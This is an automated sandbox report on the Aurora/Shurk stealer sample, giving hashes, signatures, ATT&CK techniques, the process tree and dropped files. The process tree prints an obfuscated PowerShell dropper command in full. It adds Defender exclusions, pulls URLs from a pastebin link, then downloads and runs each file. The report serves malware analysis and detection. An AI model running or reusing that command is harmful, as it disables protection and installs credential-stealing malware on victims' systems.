aurora | 792769f4a1732dff62e7bbb838f6f485140447adcf31f5fc07861f00db8a0028

Analysis

max time kernel
29s
max time network
34s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
29-04-2023 16:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Aurora.exe
Size

25.5MB
MD5

5b5049eee909a12420356f785890ee12
SHA1

2458920623ab942e1f564cb09ae25fb02b6b76a0
SHA256

4e68fa05c32bcd3790d93809a53be10bc4b0b1023dfaef3b101ef0f29a62efd0
SHA512

5c7fecb1d55baa008ee4fa90a08c0a1dbbcb2635082a6df51bdacf6fde9fe878f36769fd8099f5a0c371b3e60e5d4ff8e4097bf38346f7167d0a13c9bcdc310c
SSDEEP

98304:UlQKxQh+98myGsy1slENtrE7pQ8kq34vEStCAsDrP7J8yStyBCWLRV7VtC4bksxA:QQPY9mgGvkHEAsdtLRVRXgFqKQbEZxRF

Score

10^/10

aurora shurk infostealer stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://pastebin.com/raw/tPAFrSUD

Signatures

Aurora
Aurora is a crypto wallet stealer written in Golang.
stealer aurora
Shurk
Shurk is an infostealer, written in C++ which appeared in 2021.
infostealer shurk

Shurk Stealer payload 1 IoCs

resource	yara_rule
behavioral1/memory/2008-60-0x0000000000400000-0x0000000001D8A000-memory.dmp	shurk_stealer

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	464	powershell.exe
6	464	powershell.exe
7	464	powershell.exe
8	464	powershell.exe
9	464	powershell.exe
10	464	powershell.exe
11	464	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1752	LXIX.exe

Loads dropped DLL 1 IoCs

pid	Process
2008	Aurora.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
464	powershell.exe
464	powershell.exe
1872	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	464	powershell.exe
Token: SeDebugPrivilege	1872	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2008 wrote to memory of 1752	2008	Aurora.exe	28
PID 2008 wrote to memory of 1752	2008	Aurora.exe	28
PID 2008 wrote to memory of 1752	2008	Aurora.exe	28
PID 2008 wrote to memory of 1752	2008	Aurora.exe	28
PID 1752 wrote to memory of 464	1752	LXIX.exe	29
PID 1752 wrote to memory of 464	1752	LXIX.exe	29
PID 1752 wrote to memory of 464	1752	LXIX.exe	29
PID 1752 wrote to memory of 464	1752	LXIX.exe	29
PID 464 wrote to memory of 1872	464	powershell.exe	31
PID 464 wrote to memory of 1872	464	powershell.exe	31
PID 464 wrote to memory of 1872	464	powershell.exe	31
PID 464 wrote to memory of 1872	464	powershell.exe	31

C:\Users\Admin\AppData\Local\Temp\Aurora.exe
"C:\Users\Admin\AppData\Local\Temp\Aurora.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2008
- C:\Users\Admin\AppData\Local\Temp\LXIX.exe
  "C:\Users\Admin\AppData\Local\Temp\LXIX.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAYgBnACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGwAcgBmACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAG0AZgBrACMAPgA7ACIAOwA8ACMAbQBxAHgAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBwAHAAYQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBjAGYAYQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB5AGoAdAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBwAGEAcwB0AGUAYgBpAG4ALgBjAG8AbQAvAHIAYQB3AC8AdABQAEEARgByAFMAVQBEACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAcwBzAGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB4AGoAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBrAHgAZwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcgB0AGsAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdwBtAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGYAYQBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwBmAGcAZgAjAD4A"
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:464
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#lrf#>[System.Windows.Forms.MessageBox]::Show('','','OK','Error')<#mfk#>;
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1872

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

T1102

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\LXIX.exe

Filesize
73KB

MD5
decf4a367597bd686ed151ee5af53fdb

SHA1
7e6c4789ee9456d3981997e5392b229c1c070e8c

SHA256
c977dcc0c0d1e06083f2d0ae0492afa832757afc8969c12d93ff423f3647175a

SHA512
49aa48d942e55dbff5f93d46af47ee788aa7c7aef4ed993c37fe8f5f9840b37d70866f9445df8883b52d73794e11b93bbfffcada6109c7b1be35fae6ef2d4c7e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9SQU4M8MEFFF2DTV6VTO.temp

Filesize
7KB

MD5
8e88dc36d1f136dac9608d12d6057866

SHA1
205d926ef3e778e3684f4a38af96ec6852d4815c

SHA256
784700e787a3a8c81c40183077f446cf1f4053daa8fa183c0c831c228989696b

SHA512
2a616ab99395e7f290031c4fbb823244338dcaca432878fa3f8df32795a6cff6df974e2e9cc9435ceae5fe2f8a89a8a870beafa3aa23e73e8958cbe1a269730c

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
8e88dc36d1f136dac9608d12d6057866

SHA1
205d926ef3e778e3684f4a38af96ec6852d4815c

SHA256
784700e787a3a8c81c40183077f446cf1f4053daa8fa183c0c831c228989696b

SHA512
2a616ab99395e7f290031c4fbb823244338dcaca432878fa3f8df32795a6cff6df974e2e9cc9435ceae5fe2f8a89a8a870beafa3aa23e73e8958cbe1a269730c

Download Submit
\Users\Admin\AppData\Local\Temp\LXIX.exe

Filesize
73KB

MD5
decf4a367597bd686ed151ee5af53fdb

SHA1
7e6c4789ee9456d3981997e5392b229c1c070e8c

SHA256
c977dcc0c0d1e06083f2d0ae0492afa832757afc8969c12d93ff423f3647175a

SHA512
49aa48d942e55dbff5f93d46af47ee788aa7c7aef4ed993c37fe8f5f9840b37d70866f9445df8883b52d73794e11b93bbfffcada6109c7b1be35fae6ef2d4c7e

Download Submit
memory/464-63-0x00000000027B0000-0x00000000027F0000-memory.dmp

Filesize
256KB

Download
memory/464-64-0x00000000027B0000-0x00000000027F0000-memory.dmp

Filesize
256KB

Download
memory/1872-70-0x00000000026E0000-0x0000000002720000-memory.dmp

Filesize
256KB

Download
memory/1872-71-0x00000000026E0000-0x0000000002720000-memory.dmp

Filesize
256KB

Download
memory/2008-60-0x0000000000400000-0x0000000001D8A000-memory.dmp

Filesize
25.5MB

Download